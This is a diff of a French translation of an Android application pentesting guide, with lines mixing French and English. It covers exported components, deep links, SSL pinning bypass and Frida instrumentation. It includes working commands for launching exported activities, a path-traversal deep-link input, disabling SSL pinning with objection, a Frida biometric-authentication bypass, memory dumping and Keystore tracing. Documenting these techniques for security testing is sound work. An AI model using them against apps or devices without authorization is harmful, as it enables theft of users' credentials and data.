identifier des potentielles data leaks, il est conseillé d'**intercept the application's traffic** et de vérifier s'il y a des informations sensibles envoyées à des services tiers. +Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services. ### SQLite DBs Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` -If the database is saving confidential information and is **encrypted**, but you can **find** the **password** inside the application it's still a **vulnerability**. +If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**. Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema ` @@ -349,50 +354,50 @@ You can also start an exported activity from adb: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**REMARQUE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). > [!TIP] -> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed. +> Notez qu'un authorisation bypass n'est pas toujours une vulnérabilité ; cela dépend de la façon dont le bypass fonctionne et des informations exposées. -**Fuite d'informations sensibles** +**Sensitive information leakage** -**Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage. +**Activities can also return results**. Si vous parvenez à trouver une activity exportée et non protégée appelant la méthode **`setResult`** et **renvoyant des informations sensibles**, il y a une sensitive information leakage. #### Tapjacking -If Tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking). +Si Tapjacking n'est pas empêché, vous pourriez abuser de l'activité exportée pour amener **l'utilisateur à effectuer des actions inattendues**. Pour plus d'infos sur [**what is Tapjacking follow the link**](#tapjacking). -### Exploiter les Content Providers - Accéder et manipuler des informations sensibles +### Exploiting Content Providers - Accessing and manipulating sensitive information -[**Lisez ceci si vous voulez revoir ce qu'est un Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable. +[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ +Content providers are basically used to **share data**. Si une app dispose de content providers accessibles, vous pourriez être capable d'**extraire des données sensibles** depuis ceux-ci. Il est aussi intéressant de tester d'éventuelles **SQL injections** et **Path Traversals** car elles pourraient être vulnérables. -[**Apprenez à exploiter les Content Providers avec Drozer.**](drozer-tutorial/index.html#content-providers) +[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) -### **Exploiter les Services** +### **Exploiting Services** -[**Lisez ceci si vous voulez revoir ce qu'est un Service.**](android-applications-basics.md#services)\ -Rappelez-vous que les actions d'un Service commencent dans la méthode `onStartCommand`. +[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ +Rappelez-vous que les actions d'un Service démarrent dans la méthode `onStartCommand`. -Un Service est essentiellement quelque chose qui **peut recevoir des données**, les **traiter** et **renvoyer** (ou non) une réponse. Donc, si une application exporte certains services vous devriez **vérifier** le **code** pour comprendre ce qu'il fait et le **tester** **dynamiquement** afin d'extraire des informations confidentielles, contourner des mesures d'authentification...\ -[**Apprenez à exploiter les Services avec Drozer.**](drozer-tutorial/index.html#services) +Un Service est essentiellement quelque chose qui **peut recevoir des données**, les **traiter** et **renvoyer** (ou non) une réponse. Donc, si une application exporte des services, vous devriez **vérifier** le **code** pour comprendre ce qu'il fait et le **tester** **dynamiquement** pour extraire des informations confidentielles, contourner les mesures d'authentification...\ +[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) -### **Exploiter les Broadcast Receivers** +### **Exploiting Broadcast Receivers** -[**Lisez ceci si vous voulez revoir ce qu'est un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ +[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Rappelez-vous que les actions d'un Broadcast Receiver commencent dans la méthode `onReceive`. -Un broadcast receiver attendra un type de message. Selon la façon dont le receiver traite le message, il pourrait être vulnérable.\ -[**Apprenez à exploiter les Broadcast Receivers avec Drozer.**](#exploiting-broadcast-receivers) +Un broadcast receiver attendra un type de message. Selon la façon dont le receiver gère le message, il pourrait être vulnérable.\ +[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) -### **Exploiter les Schemes / Deep links** +### **Exploiting Schemes / Deep links** -Vous pouvez rechercher des deep links manuellement, en utilisant des outils comme MobSF ou des scripts comme [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Vous pouvez **ouvrir** un déclaré **scheme** en utilisant **adb** ou un **browser**: +You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Vous pouvez **ouvrir** un **scheme** déclaré en utilisant **adb** ou un **navigateur**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Remarque : vous pouvez **omettre le nom du package** et le mobile appellera automatiquement l'application qui doit ouvrir ce lien._ +_Notez que vous pouvez **omettre le nom du package** et le mobile appellera automatiquement l'application qui doit ouvrir ce lien._ ```html Click me @@ -401,56 +406,56 @@ _Remarque : vous pouvez **omettre le nom du package** et le mobile appellera aut ``` **Code exécuté** -Pour trouver le **code qui sera exécuté dans l'App**, allez à l'activité appelée par le deep link et recherchez la fonction **`onNewIntent`**. +Pour trouver le **code qui sera exécuté dans l'App**, allez à l'activité appelée par le deeplink et recherchez la fonction **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) **Informations sensibles** -Chaque fois que vous trouvez un deep link, vérifiez **qu'il ne reçoit pas de données sensibles (comme des mots de passe) via des paramètres d'URL**, car toute autre application pourrait **usurper le deep link et voler ces données !** +Chaque fois que vous trouvez un deep link, vérifiez qu'**il ne reçoit pas de données sensibles (comme des mots de passe) via des paramètres d'URL**, car toute autre application pourrait **usurper le deep link et voler ces données !** **Paramètres dans le chemin** -Vous **devez aussi vérifier si un deep link utilise un paramètre à l'intérieur du path** de l'URL comme : `https://api.example.com/v1/users/{username}` , dans ce cas vous pouvez forcer un path traversal en accédant à quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Notez que si vous trouvez les endpoints corrects à l'intérieur de l'application vous pouvez être capable de provoquer un **Open Redirect** (si une partie du path est utilisée comme nom de domaine), un **account takeover** (si vous pouvez modifier les détails d'utilisateurs sans token CSRF et que l'endpoint vulnérable utilisait la méthode correcte) et toute autre vuln. Plus d'infos [about this here](http://dphoeniixx.com/2020/12/13-2/). +Vous **devez aussi vérifier si un deep link utilise un paramètre à l'intérieur du chemin** de l'URL comme : `https://api.example.com/v1/users/{username}`, dans ce cas vous pouvez forcer un path traversal en accédant à quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ +Remarquez que si vous trouvez les endpoints corrects dans l'application vous pourriez provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), une **account takeover** (si vous pouvez modifier les détails des utilisateurs sans CSRF token et que le vuln endpoint utilisait la méthode correcte) et toute autre vuln. Plus d'[info à ce sujet ici](http://dphoeniixx.com/2020/12/13-2/). **More examples** -An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). +Un [rapport bug bounty intéressant](https://hackerone.com/reports/855618) au sujet des liens (_/.well-known/assetlinks.json_). ### Inspection de la couche transport et échecs de vérification -- **Les certificats ne sont pas toujours inspectés correctement** par les applications Android. Il est courant que ces applications ignorent les warnings et acceptent des certificats self-signed ou, dans certains cas, repassent à des connexions HTTP. -- **Les négociations durant le SSL/TLS handshake sont parfois faibles**, employant des cipher suites non sécurisées. Cette vulnérabilité rend la connexion susceptible aux attaques man-in-the-middle (MITM), permettant aux attaquants de déchiffrer les données. -- **Fuite d'informations privées** est un risque lorsque les applications s'authentifient en utilisant des canaux sécurisés puis communiquent sur des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, comme les cookies de session ou les informations utilisateur, contre l'interception par des entités malveillantes. +- **Les certificats ne sont pas toujours correctement inspectés** par les applications Android. Il est courant que ces applications ignorent les avertissements et acceptent des certificats autosignés ou, dans certains cas, repassent aux connexions HTTP. +- **Les négociations pendant le handshake SSL/TLS sont parfois faibles**, utilisant des cipher suites non sécurisées. Cette vulnérabilité rend la connexion susceptible aux attaques man-in-the-middle (MITM), permettant aux attaquants de déchiffrer les données. +- **Leakage of private information** constitue un risque lorsque les applications s'authentifient via des canaux sécurisés mais communiquent ensuite sur des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, comme les cookies de session ou les informations utilisateur, contre l'interception par des entités malveillantes. #### Vérification des certificats -Nous nous concentrerons sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. Ceci est crucial car des configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent poser des risques importants. Pour des étapes détaillées sur la vérification des certificats serveurs et la correction des vulnérabilités, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets. +Nous allons nous concentrer sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. C'est crucial car des configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent entraîner des risques importants. Pour des étapes détaillées sur la vérification des certificats serveur et la correction des vulnérabilités, [**cette ressource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des directives complètes. #### SSL Pinning -SSL Pinning est une mesure de sécurité où l'application vérifie le certificat du serveur par rapport à une copie connue stockée dans l'application elle-même. Cette méthode est essentielle pour prévenir les attaques MITM. Il est fortement recommandé d'implémenter SSL Pinning pour les applications manipulant des informations sensibles. +SSL Pinning est une mesure de sécurité où l'application vérifie le certificat du serveur par rapport à une copie connue stockée dans l'application elle-même. Cette méthode est essentielle pour prévenir les attaques MITM. La mise en œuvre de SSL Pinning est fortement recommandée pour les applications traitant des informations sensibles. #### Inspection du trafic -Pour inspecter le trafic HTTP, il est nécessaire d'**installer le certificat du proxy** (par ex. Burp). Sans installer ce certificat, le trafic chiffré pourrait ne pas être visible via le proxy. Pour un guide sur l'installation d'un CA personnalisé, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Pour inspecter le trafic HTTP, il est nécessaire d'**installer le certificat de l'outil proxy** (par ex., Burp). Sans l'installation de ce certificat, le trafic chiffré pourrait ne pas être visible via le proxy. Pour un guide sur l'installation d'un certificat CA personnalisé, [**cliquez ici**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Les applications ciblant **API Level 24 and above** nécessitent des modifications du Network Security Config pour accepter le certificat CA du proxy. Cette étape est critique pour inspecter le trafic chiffré. Pour des instructions sur la modification du Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). +Les applications ciblant **API Level 24 and above** requièrent des modifications du Network Security Config pour accepter le certificat CA du proxy. Cette étape est critique pour inspecter le trafic chiffré. Pour des instructions sur la modification du Network Security Config, [**consultez ce tutoriel**](make-apk-accept-ca-certificate.md). -Si **Flutter** est utilisé, vous devez suivre les instructions sur [**this page**](flutter.md). Cela s'explique par le fait que, simplement ajouter le certificat dans le store ne fonctionnera pas car Flutter a sa propre liste de CAs valides. +Si **Flutter** est utilisé, vous devez suivre les instructions sur [**cette page**](flutter.md). En effet, ajouter simplement le certificat dans le magasin ne fonctionnera pas car Flutter possède sa propre liste de CAs valides. #### Détection statique du SSL/TLS pinning -Avant d'essayer des contournements runtime, cartographiez rapidement où le pinning est appliqué dans l'APK. La découverte statique vous aide à planifier des hooks/patches et à vous concentrer sur les bons chemins de code. +Avant d'essayer des runtime bypasses, cartographiez rapidement où le pinning est appliqué dans l'APK. La découverte statique vous aide à planifier les hooks/patches et à vous concentrer sur les bons chemins de code. -Tool: SSLPinDetect -- Open-source static-analysis utility qui décompile l'APK en Smali (via apktool) et scanne des motifs regex sélectionnés d'implémentations de SSL/TLS pinning. -- Rapporte le chemin exact du fichier, le numéro de ligne, et un snippet de code pour chaque correspondance. -- Couvre des frameworks courants et des chemins de code personnalisés : OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, et Network Security Config XML pins. +Outil: SSLPinDetect +- Utilitaire open-source d'analyse statique qui décompile l'APK en Smali (via apktool) et scanne des motifs regex sélectionnés d'implémentations de SSL/TLS pinning. +- Rapporte le chemin de fichier exact, le numéro de ligne et un extrait de code pour chaque correspondance. +- Couvre les frameworks courants et les chemins de code personnalisés : OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, et les pins Network Security Config XML. -Install -- Prereqs: Python >= 3.8, Java on PATH, apktool +Installation +- Prérequis : Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -465,7 +470,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` Exemples de règles de pattern (JSON) -Utilisez ou étendez des signatures pour détecter des styles de pinning propriétaires/personnalisés. Vous pouvez charger votre propre JSON et effectuer des analyses à grande échelle. +Utilisez ou étendez des signatures pour détecter des styles de pinning propriétaires/personnalisés. Vous pouvez charger votre propre JSON et analyser à grande échelle. ```json { "OkHttp Certificate Pinning": [ @@ -479,43 +484,43 @@ Utilisez ou étendez des signatures pour détecter des styles de pinning propri ] } ``` -Notes et astuces -- Analyse rapide des grandes applications via multi-threading et I/O mappée en mémoire ; les regex pré-compilées réduisent la surcharge / les faux positifs. +Notes et conseils +- Analyse rapide des grandes applications via multi-threading et I/O mémoire mappée ; les regex précompilées réduisent la surcharge/les faux positifs. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- Cibles de détection typiques à trier ensuite : -- OkHttp: utilisation de CertificatePinner, setCertificatePinner, références de package okhttp3/okhttp -- TrustManagers personnalisés: javax.net.ssl.X509TrustManager, overrides de checkServerTrusted -- Contextes SSL personnalisés: SSLContext.getInstance + SSLContext.init avec des managers personnalisés -- Pins déclaratifs dans res/xml network security config et références dans le manifest -- Utilisez les emplacements identifiés pour planifier des hooks Frida, des patchs statiques, ou des revues de configuration avant les tests dynamiques. +- Cibles typiques à prioriser ensuite : +- OkHttp : utilisation de CertificatePinner, setCertificatePinner, références de package okhttp3/okhttp +- Custom TrustManagers : javax.net.ssl.X509TrustManager, surcharges de checkServerTrusted +- Custom SSL contexts : SSLContext.getInstance + SSLContext.init avec des managers personnalisés +- Declarative pins dans res/xml network security config et références du manifest +- Utilisez les emplacements trouvés pour planifier des Frida hooks, des patches statiques ou des revues de config avant les tests dynamiques. -#### Contournement de SSL Pinning +#### Contourner SSL Pinning Lorsque SSL Pinning est implémenté, le contourner devient nécessaire pour inspecter le trafic HTTPS. Plusieurs méthodes sont disponibles pour cela : -- Automatiquement **modifier** le **apk** pour **bypasser** SSLPinning avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour bypasser le SSL Pinning, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours. -- Vous pouvez utiliser **Frida** (discuté ci-dessous) pour bypasser cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Vous pouvez aussi essayer de **bypasser automatiquement SSL Pinning** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Vous pouvez aussi essayer de **bypasser automatiquement SSL Pinning** en utilisant **MobSF dynamic analysis** (expliqué ci-dessous) -- Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour bypasser le SSL Pinning, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours. +- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) +- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Recherche de vulnérabilités web courantes -Il est également important de rechercher des vulnérabilités web courantes dans l'application. Des informations détaillées sur l'identification et l'atténuation de ces vulnérabilités dépassent le cadre de ce résumé mais sont couvertes de manière exhaustive ailleurs. +Il est important de rechercher aussi les vulnérabilités web courantes au sein de l'application. Les informations détaillées pour identifier et atténuer ces vulnérabilités dépassent le cadre de ce résumé mais sont traitées en profondeur ailleurs. ### Frida [Frida](https://www.frida.re) est un toolkit d'instrumentation dynamique pour développeurs, reverse-engineers, et chercheurs en sécurité.\ -**Vous pouvez accéder à l'application en cours d'exécution et hooker des méthodes à l'exécution pour modifier le comportement, changer des valeurs, extraire des valeurs, exécuter du code différent...**\ +**Vous pouvez accéder à l'application en cours d'exécution et hooker des méthodes au runtime pour changer le comportement, modifier des valeurs, extraire des valeurs, exécuter du code différent...**\ Si vous voulez pentest des applications Android vous devez savoir comment utiliser Frida. -- Apprenez à utiliser Frida : [**Frida tutorial**](frida-tutorial/index.html) -- Quelques "GUI" pour des actions avec Frida : [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection est excellent pour automatiser l'utilisation de Frida : [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Vous pouvez trouver quelques scripts Frida "Awesome" ici : [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Essayez de contourner les mécanismes anti-debugging / anti-frida en chargeant Frida comme indiqué dans [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (outil [linjector](https://github.com/erfur/linjector-rs)) +- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -523,11 +528,11 @@ Si vous voulez pentest des applications Android vous devez savoir comment utilis android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **Dump Memory - Fridump** +### **Vidage mémoire - Fridump** -Vérifiez si l'application stocke des informations sensibles en mémoire qu'elle ne devrait pas stocker, comme des mots de passe ou des mnémoniques. +Vérifiez si l'application stocke des informations sensibles en mémoire qu'elle ne devrait pas conserver, comme des mots de passe ou des mnémoniques. -En utilisant [**Fridump3**](https://github.com/rootbsd/fridump3) vous pouvez faire un dump de la mémoire de l'app avec: +Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: ```bash # With PID python3 fridump3.py -u @@ -536,68 +541,68 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Cela dumpera la mémoire dans le dossier ./dump, et vous pourrez ensuite grep dedans avec quelque chose comme : +Cela va effectuer un dump de la mémoire dans le dossier ./dump, et vous pouvez y faire un grep avec quelque chose comme : ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Données sensibles dans Keystore** -Sur Android, le Keystore est l'endroit idéal pour stocker des données sensibles, cependant, avec des privilèges suffisants il reste possible d'y accéder. Comme les applications ont tendance à y stocker des données sensibles en clear text, les pentests devraient vérifier cela en tant que root user, car une personne ayant un accès physique à l'appareil pourrait voler ces données. +Sur Android, le Keystore est l'endroit le plus sûr pour stocker des données sensibles ; toutefois, avec des privilèges suffisants, il est toujours **possible d'y accéder**. Comme les applications ont tendance à stocker ici des **données sensibles en clair**, les pentests doivent le vérifier en tant que root user, car quelqu'un ayant un accès physique à l'appareil pourrait voler ces données. -Même si une application stocke des données dans le Keystore, ces données doivent être chiffrées. +Même si une app stocke des données dans le keystore, les données doivent être chiffrées. -Pour accéder aux données dans le Keystore vous pouvez utiliser ce Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Pour accéder aux données à l'intérieur du keystore, vous pouvez utiliser ce script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -En utilisant le script Frida suivant, il pourrait être possible de **bypass fingerprint authentication** que des applications Android effectuent afin de **protéger certaines zones sensibles :** +En utilisant le script Frida suivant, il pourrait être possible de **bypass fingerprint authentication** qu'effectuent des applications Android pour **protéger certaines zones sensibles :** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Images d'arrière-plan** -Lorsque vous placez une application en arrière-plan, Android stocke un **snapshot of the application** : lorsque celle-ci est ramenée au premier plan, il commence par charger l'image avant l'application, de sorte qu'il semble que l'application ait été chargée plus rapidement. +Lorsque vous mettez une application en arrière-plan, Android stocke un **instantané de l'application** ; lorsqu'elle est ramenée au premier plan, il commence à charger l'image avant l'application pour donner l'impression que l'application s'est chargée plus rapidement. -Cependant, si ce snapshot contient des **informations sensibles**, quelqu'un ayant accès au snapshot pourrait **voler ces informations** (notez qu'il faut un accès root pour y accéder). +Cependant, si cet instantané contient des **informations sensibles**, quelqu'un ayant accès à l'instantané pourrait **voler ces informations** (notez qu'il faut root pour y accéder). -Les snapshots sont généralement stockés à : **`/data/system_ce/0/snapshots`** +Les instantanés sont généralement stockés à : **`/data/system_ce/0/snapshots`** -Android fournit un moyen d'empêcher la capture de screenshot en définissant le paramètre de layout FLAG_SECURE. En utilisant ce flag, le contenu de la fenêtre est traité comme sécurisé, ce qui empêche qu'il apparaisse dans des screenshots ou qu'il soit affiché sur des écrans non sécurisés. +Android fournit un moyen de **prévenir la capture d'écran en définissant le paramètre de layout FLAG_SECURE**. En utilisant ce flag, le contenu de la fenêtre est traité comme sécurisé, l'empêchant d'apparaître dans les captures d'écran ou d'être affiché sur des écrans non sécurisés. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -Cet outil peut vous aider à gérer différents outils pendant l'analyse dynamique : [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Cet outil peut vous aider à gérer différents outils lors de l'analyse dynamique : [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Les développeurs créent souvent des composants proxy comme activities, services, et broadcast receivers qui traitent ces Intents et les passent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué. +Les développeurs créent souvent des composants proxy comme activities, services et broadcast receivers qui traitent ces Intents et les transmettent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué. -Le danger réside dans le fait de permettre à des attaquants de déclencher des composants d'application non-exportés ou d'accéder à des content providers sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit des URLs en objets `Intent` via `Intent.parseUri(...)` puis les exécute, ce qui peut conduire à des Intent injections malveillantes. +Le danger réside dans le fait de permettre à des attaquants de déclencher des composants d'application non exportés ou d'accéder à des content providers sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` convertissant des URLs en objets `Intent` via `Intent.parseUri(...)` puis les exécutant, ce qui peut conduire à des injections d'Intent malveillantes. -### Points essentiels +### Essential Takeaways -- **Intent Injection** est similaire au problème Open Redirect du web. -- Les exploits consistent à passer des objets `Intent` comme extras, qui peuvent être redirigés pour exécuter des opérations dangereuses. -- Cela peut exposer des composants non-exportés et des content providers aux attaquants. -- La conversion d'URLs en `Intent` par `WebView` peut faciliter des actions non prévues. +- **Intent Injection** est similaire au problème d'Open Redirect sur le web. +- Les exploits consistent à passer des objets `Intent` en tant qu'extras, qui peuvent être redirigés pour exécuter des opérations non sécurisées. +- Cela peut exposer des composants non exportés et des content providers aux attaquants. +- La conversion d'URL en `Intent` par `WebView` peut faciliter des actions non prévues. -### Injections côté client Android et autres +### Android Client Side Injections and others Vous connaissez probablement ce type de vulnérabilités depuis le Web. Il faut être particulièrement vigilant avec ces vulnérabilités dans une application Android : -- **SQL Injection:** Lorsqu'on gère des requêtes dynamiques ou des Content-Providers, assurez-vous d'utiliser des requêtes paramétrées. -- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: Dans plusieurs cas, lorsque l'application Android termine la session le cookie n'est pas révoqué ou il peut même être enregistré sur le disque +- **SQL Injection:** Lors de la gestion de requêtes dynamiques ou de Content-Providers, assurez-vous d'utiliser des requêtes paramétrées. +- **JavaScript Injection (XSS):** Vérifiez que le support JavaScript et Plugin est désactivé pour tout WebView (désactivé par défaut). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** Les WebViews devraient avoir l'accès au système de fichiers désactivé (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque. - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Analyse automatique +## Automatic Analysis ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) @@ -605,51 +610,51 @@ Vous connaissez probablement ce type de vulnérabilités depuis le Web. Il faut ![](<../../images/image (866).png>) -**Évaluation des vulnérabilités de l'application** via une jolie interface web. Vous pouvez aussi effectuer une analyse dynamique (mais vous devez préparer l'environnement). +**Évaluation des vulnérabilités de l'application** via une interface web conviviale. Vous pouvez aussi effectuer une analyse dynamique (mais il faut préparer l'environnement). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Remarque: MobSF peut analyser **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Aussi, si vous créez un fichier **ZIP** avec le code source d'une application **Android** ou **IOS** (allez dans le dossier racine de l'application, sélectionnez tout et créez un ZIPfile), il pourra l'analyser également. +Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. -MobSF permet aussi de faire un **diff/Compare** des analyses et d'intégrer **VirusTotal** (vous devrez définir votre API key dans _MobSF/settings.py_ et l'activer: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Vous pouvez aussi mettre `VT_UPLOAD` à `False`, dans ce cas le **hash** sera **upload** au lieu du fichier. +MobSF also allows you to **diff/Compare** 